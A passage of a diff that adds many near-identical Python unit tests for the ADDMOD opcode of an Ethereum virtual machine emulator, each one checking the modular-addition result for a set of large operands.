+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_269(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_270(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADDMOD_271(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_272(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_273(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_274(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_275(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_276(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_277(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_278(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_279(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_280(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301294L])
+
+    def test_ADDMOD_281(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_282(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_ADDMOD_283(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_284(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [7237005577332262213973186563042994240829374041602535252466099000494570602526L])
+
+    def test_ADDMOD_285(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_ADDMOD_286(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_ADDMOD_287(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_ADDMOD_288(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_ADDMOD_289(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_290(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_291(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_292(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_293(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_ADDMOD_294(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_295(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_296(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_297(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
